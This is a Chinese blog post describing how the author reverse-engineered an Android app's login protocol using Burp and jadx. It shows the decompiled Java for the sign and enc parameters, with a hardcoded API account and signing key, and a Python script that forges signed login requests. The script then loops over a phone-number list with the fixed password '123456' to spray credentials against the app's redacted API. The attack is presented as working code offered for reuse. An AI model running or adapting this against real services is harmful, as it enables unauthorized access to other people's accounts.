当前位置: 首页 > article >正文

【网络安全】记一次APP登录爆破

使用工具

  1. 安卓12

  2. jadx-gui

抓取登录HTTP请求包

  1. 安装burp证书,并抓取登录请求。
POST /loginUser HTTP/1.1
Host: api.xxxx.xxxxx.com

apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D&timestamp=1658332134014
  1. 分析登录请求包中需要五个参数
  1. apiaccount
  2. sign
  3. enc
  4. phone
  5. timestamp

分析参数

apiaccount

搜索关键词
image.png

此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516

phone

手机号

timestamp

  1. 此值为当前的时间戳String.valueOf(System.currentTimeMillis())
    image.png

  2. 改写为python代码

import time
timestamp = str(int(time.time()*1000)) 

sign

image.png
image.png
image.png

image.png
image.png

public static O d(String str, String str2) {
HashMap hashMap = new HashMap();
hashMap.put("phone", str);
hashMap.put("enc", e(str2));
return c.g.b.f.b.c(f.h(), a(hashMap));
}

private static Map<String, String> a(Map<String, String> map) {
HashMap hashMap = new HashMap();
hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516");
hashMap.put("timestamp", String.valueOf(System.currentTimeMillis()));
TreeMap treeMap = new TreeMap();
treeMap.putAll(hashMap);
if (map != null) {
treeMap.putAll(map);
}
hashMap.put("sign", a((SortedMap<String, String>) treeMap));
if (map != null) {
hashMap.putAll(map);
}
return hashMap;
}

private static String a(SortedMap<String, String> sortedMap) {
StringBuffer stringBuffer = new StringBuffer();
for (Map.Entry<String, String> entry : sortedMap.entrySet()) {
if (!TextUtils.isEmpty(entry.getValue())) {
stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&");
}
}
stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b");
return D.d(stringBuffer.toString()).toUpperCase();
}
private static byte[] a(byte[] bArr, String str) {
if (bArr != null && bArr.length > 0) {
try {
MessageDigest messageDigest = MessageDigest.getInstance(str);
messageDigest.update(bArr);
return messageDigest.digest();
} catch (NoSuchAlgorithmException e2) {
e2.printStackTrace();
}
}
return null;
}

private static String q(byte[] bArr) {
int length;
if (bArr != null && (length = bArr.length) > 0) {
char[] cArr = new char[length << 1];
int i2 = 0;
for (int i3 = 0; i3 < length; i3++) {
int i4 = i2 + 1;
char[] cArr2 = f10685a;
cArr[i2] = cArr2[(bArr[i3] >> 4) & 15];
i2 = i4 + 1;
cArr[i4] = cArr2[bArr[i3] & 15];
}
return new String(cArr);
}
return "";
}

sign参数组合

sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

enc

str = phone``str2 = password
image.png
image.png

image.png
image.png

image.png

image.png

image.png

image.png

image.png

大致流程

  1. 输入密码

  2. 密码 + 随机10位salt

    1. "password=" + "密码" + "&salt=" + salt
  3. 使用此函数操作密钥

private static byte[] b(String str) throws UnsupportedEncodingException {
int i2;
byte b2;
int i3;
byte b3;
int i4;
byte b4;
int i5;
byte b5;
StringBuffer stringBuffer = new StringBuffer();
byte[] bytes = str.getBytes("US-ASCII");
int length = bytes.length;
int i6 = 0;
while (i6 < length) {
while (true) {
i2 = i6 + 1;
b2 = f16023b[bytes[i6]];
if (i2 >= length || b2 != -1) {
break;
}
i6 = i2;
}
if (b2 == -1) {
break;
}
while (true) {
i3 = i2 + 1;
b3 = f16023b[bytes[i2]];
if (i3 >= length || b3 != -1) {
break;
}
i2 = i3;
}
if (b3 == -1) {
break;
}
stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));
while (true) {
i4 = i3 + 1;
byte b6 = bytes[i3];
if (b6 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b4 = f16023b[b6];
if (i4 >= length || b4 != -1) {
break;
}
i3 = i4;
}
if (b4 == -1) {
break;
}
stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));
while (true) {
i5 = i4 + 1;
byte b7 = bytes[i4];
if (b7 == 61) {
return stringBuffer.toString().getBytes("iso8859-1");
}
b5 = f16023b[b7];
if (i5 >= length || b5 != -1) {
break;
}
i4 = i5;
}
if (b5 == -1) {
break;
}
stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));
i6 = i5;
}
return stringBuffer.toString().getBytes("iso8859-1");
}
  1. RSA加密
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(1, publicKey);
return cipher.doFinal(bArr);
  1. 使用此函数处理加密后的结果
public static String a(byte[] bArr) {
StringBuffer stringBuffer = new StringBuffer();
int length = bArr.length;
int i2 = 0;
while (true) {
if (i2 >= length) {
break;
}
int i3 = i2 + 1;
int i4 = bArr[i2] & 255;
if (i3 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[(i4 & 3) << 4]);
stringBuffer.append("==");
break;
}
int i5 = i3 + 1;
int i6 = bArr[i3] & 255;
if (i5 == length) {
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[(i6 & 15) << 2]);
stringBuffer.append("=");
break;
}
int i7 = i5 + 1;
int i8 = bArr[i5] & 255;
stringBuffer.append(f16022a[i4 >>> 2]);
stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);
stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);
stringBuffer.append(f16022a[i8 & 63]);
i2 = i7;
}
return stringBuffer.toString();
}

改写为python代码

def main(phone,password):
url = "https://xx.com/loginUser"
sign = ""
enc = ""
tmtp = str(int(time.time() * 1000))

salt = "1234567890"  # 随机生成的10个数字
enc_ori = "password=" + password + "&salt=" + salt
enc = gen_enc(enc_ori)

sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'&timestamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'

sign = gen_sign(sign_ori)
print(quote_plus(enc))

data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "&timestamp=" + tmtp

res = requests.post(url=url, data=data)
print(res.text)

image.png

加载字典爆破

def main(phone, password):
res = requests.post(url=url, headers=headers, data=data)
print(res.text)

if __name__ == "__main__":
with open("phone","r") as f:
for i in f.readlines():
main(i.strip(),"123456")

http://www.kler.cn/a/399632.html

相关文章:

  • 力扣第 55 题 跳跃游戏
  • 3步实现贪吃蛇
  • 正则表达式语法详解(python)
  • 大数据-226 离线数仓 - Flume 优化配置 自定义拦截器 拦截原理 了 拦截器实现 Java
  • 跨域 总 结 CORS
  • vue 模板语法 ( 插值表达式 | 属性绑定 | 双向数据绑定 | 指令 | 按键修饰符 )
  • 抖音热门素材去哪找?优质抖音视频素材网站推荐!
  • Flutter网络通信-封装Dio
  • 网络安全:数字时代的护城河
  • 机器学习笔记2 - 机器学习的一般流程
  • Unity-Editor扩展Odin + 自定义EditorWindow记录
  • Python正则表达式中re.M 是什么意思
  • Big Data for AI实践:面向AI大模型开发和应用的大规模数据处理套件
  • 【WPF】Prism学习(四)
  • 深入浅出 Go 语言:现代编程的高效选择
  • 【PGCCC】Postgresql 存储设计
  • Flink运行时架构以及核心概念
  • 基于SpringBoot+Vue的船舶维保管理系统(带1w+文档)
  • UE5的线程同步机制
  • 鸿蒙HarmonyOS 地图定位到当前位置 site查询等操作
  • Rewar Model的输出(不包含训练)
  • <有毒?!> 诺顿检测:这篇 CSDN 文章有病毒
  • Gin 框架中的路由
  • PostgreSQL高可用Patroni安装(超详细)
  • datalist 是什么?以及作用是什么?
  • Android 判断当前是否亮灭屏状态或黑屏锁屏状态